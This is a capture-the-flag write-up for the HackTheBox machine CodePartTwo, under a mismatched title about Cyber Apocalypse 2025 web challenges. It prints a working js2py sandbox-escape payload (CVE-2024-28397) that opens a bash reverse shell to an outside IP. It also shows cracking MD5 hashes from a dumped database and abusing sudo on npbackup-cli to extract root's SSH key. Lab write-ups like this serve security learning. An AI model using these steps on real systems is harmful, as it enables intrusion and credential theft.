HTB Cyber Apocalypse 2025 - Web Challenges
Comprehensive solutions for the Web challenges during the HTB Cyber Apocalypse 2025 CTF. Learn about modern web vulnerabilities and bypasses used in the event.
CodePartTwo is an easy Linux box running a web-based JavaScript code editor vulnerable to sandbox escape. The application uses js2py version 0.74, which suffers from CVE-2024-28397 allowing arbitrary Python code execution through object prototype manipulation. After gaining initial access as the app user, I discovered an SQLite database containing MD5 password hashes. Cracking one of these hashes provided credentials for the marco user. From there, I abused sudo permissions on npbackup-cli to create custom backup configurations that extracted sensitive files from root’s directory, ultimately reading the SSH private key to gain root access.
I started with a comprehensive port scan to identify available services:
nmap -p- -sCV 10.10.11.82
The scan revealed two open ports:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
8000/tcp open http Gunicorn 20.0.4
Based on the OpenSSH version, the target is likely running Ubuntu 20.04 (Focal). The presence of Gunicorn suggests a Python web application framework such as Flask or Django.
Navigating to port 8000 revealed an “Online Code Editor” application that allows users to register accounts, authenticate, and execute JavaScript code directly in the browser.
The application provides several key features:
/download endpointAfter registering and logging in, I was presented with a dashboard containing a code editor interface:
The /download endpoint provided access to app.zip, containing the complete application source. The project structure revealed:
├── app.py
├── instance
│ └── users.db
├── requirements.txt
├── static
│ ├── css
│ └── js
└── templates
├── base.html
├── dashboard.html
├── index.html
├── login.html
└── register.html
Examining app.py showed the application uses Flask with SQLAlchemy for database operations. The critical vulnerability lies in the /run_code endpoint:
@app.route('/run_code', methods=['POST'])
def run_code():
try:
code = request.json.get('code')
result = js2py.eval_js(code)
return jsonify({'result': result})
except Exception as e:
return jsonify({'error': str(e)})
User-submitted JavaScript is passed directly to js2py.eval_js() without proper sandboxing.
The requirements.txt file confirmed the vulnerable version:
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74
Additionally, the registration handler showed passwords are hashed using MD5:
password_hash = hashlib.md5(password.encode()).hexdigest()
The SQLite database schema revealed two tables (user and code_snippet), though the local copy contained no data.
The js2py library version 0.74 is vulnerable to CVE-2024-28397, a sandbox escape allowing arbitrary Python code execution. The vulnerability works by accessing Python’s object hierarchy through JavaScript’s prototype chain.
The exploit leverages Object.getOwnPropertyNames({}) to obtain a dict_keys object, then uses __getattribute__ to traverse up to Python’s base object class. From there, __subclasses__() enumerates all loaded Python classes, including subprocess.Popen.
I crafted a payload to establish a reverse shell:
let cmd = "bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log("Reverse shell initiated")
After starting a netcat listener and submitting the payload through the web interface, I received a connection:
$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.82 52682
bash: cannot set terminal process group (894): Inappropriate ioctl for device
bash: no job control in this shell
app@codeparttwo:~/app$
I upgraded the shell for better interactivity:
app@codeparttwo:~$ script /dev/null -c bash
app@codeparttwo:~$ ^Z
[1]+ Stopped
$ stty raw -echo; fg
reset
Terminal type? screen
Operating as the app user, I examined the SQLite database in the application directory:
app@codeparttwo:~/app$ sqlite3 instance/users.db
SQLite version 3.31.1 2020-01-27 19:55:54
sqlite> .tables
code_snippet user
sqlite> SELECT * FROM user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
The database contained two MD5 password hashes. I submitted them to an online hash cracking service, which successfully reversed the hash for marco:
marco:{hidden}
The recovered credentials worked for SSH authentication:
$ ssh marco@10.10.11.82
marco@codeparttwo:~$ id
uid=1000(marco) gid=1000(marco) groups=1000(marco),1003(backups)
Checking sudo privileges revealed marco can execute npbackup-cli as root:
marco@codeparttwo:~$ sudo -l
<SNIP>
User marco may run the following commands on codeparttwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
The home directory contained a configuration file for this backup utility:
marco@codeparttwo:~$ ls -la
drwx------ 7 root root 4096 Apr 6 03:50 backups
-rw-rw-r-- 1 root root 2893 Jun 18 11:16 npbackup.conf
-rw-r----- 1 root marco 33 Oct 26 2024 user.txt
NPBackup is a Python-based backup solution built on top of restic. The help output showed the -c flag accepts custom configuration files:
marco@codeparttwo:~$ npbackup-cli -h
usage: npbackup-cli [-h] [-c CONFIG_FILE] [--repo-name REPO_NAME] [-b] [-f]
[--ls [LS]] [--dump DUMP] [--snapshot-id SNAPSHOT_ID]
<SNIP>
-c CONFIG_FILE, --config-file CONFIG_FILE
Path to alternative configuration file
-b, --backup Run a backup
--ls [LS] Show content given snapshot
--dump DUMP Dump a specific file to stdout
Examining the existing configuration revealed it backs up /home/app/app/:
backup_opts:
paths:
- /home/app/app/
Since I could specify an arbitrary configuration file and run npbackup-cli as root, I created a modified configuration targeting /root:
marco@codeparttwo:~$ cp npbackup.conf /dev/shm/exploit.conf
marco@codeparttwo:~$ vim /dev/shm/exploit.conf
I modified the paths section to include root’s directory:
backup_opts:
paths:
- /home/app/app/
- /root/
Running a backup with this configuration:
marco@codeparttwo:~$ sudo npbackup-cli -c /dev/shm/exploit.conf -b
<SNIP>
Files: 27 new, 0 changed, 0 unmodified
Dirs: 17 new, 0 changed, 0 unmodified
snapshot 7b216ac3 saved
Listing the backup contents confirmed root’s files were included:
marco@codeparttwo:~$ sudo npbackup-cli -c /dev/shm/exploit.conf --ls
snapshot 7b216ac3 of [/home/app/app /root]:
/root
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/root.txt
<SNIP>
Using the --dump flag, I extracted root’s SSH private key:
marco@codeparttwo:~$ sudo npbackup-cli -c /dev/shm/exploit.conf --dump /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
<SNIP>
-----END OPENSSH PRIVATE KEY-----
I saved the key locally and used it to authenticate as root:
$ chmod 600 root_key
$ ssh -i root_key root@10.10.11.82
root@codeparttwo:~# id
uid=0(root) gid=0(root) groups=0(root)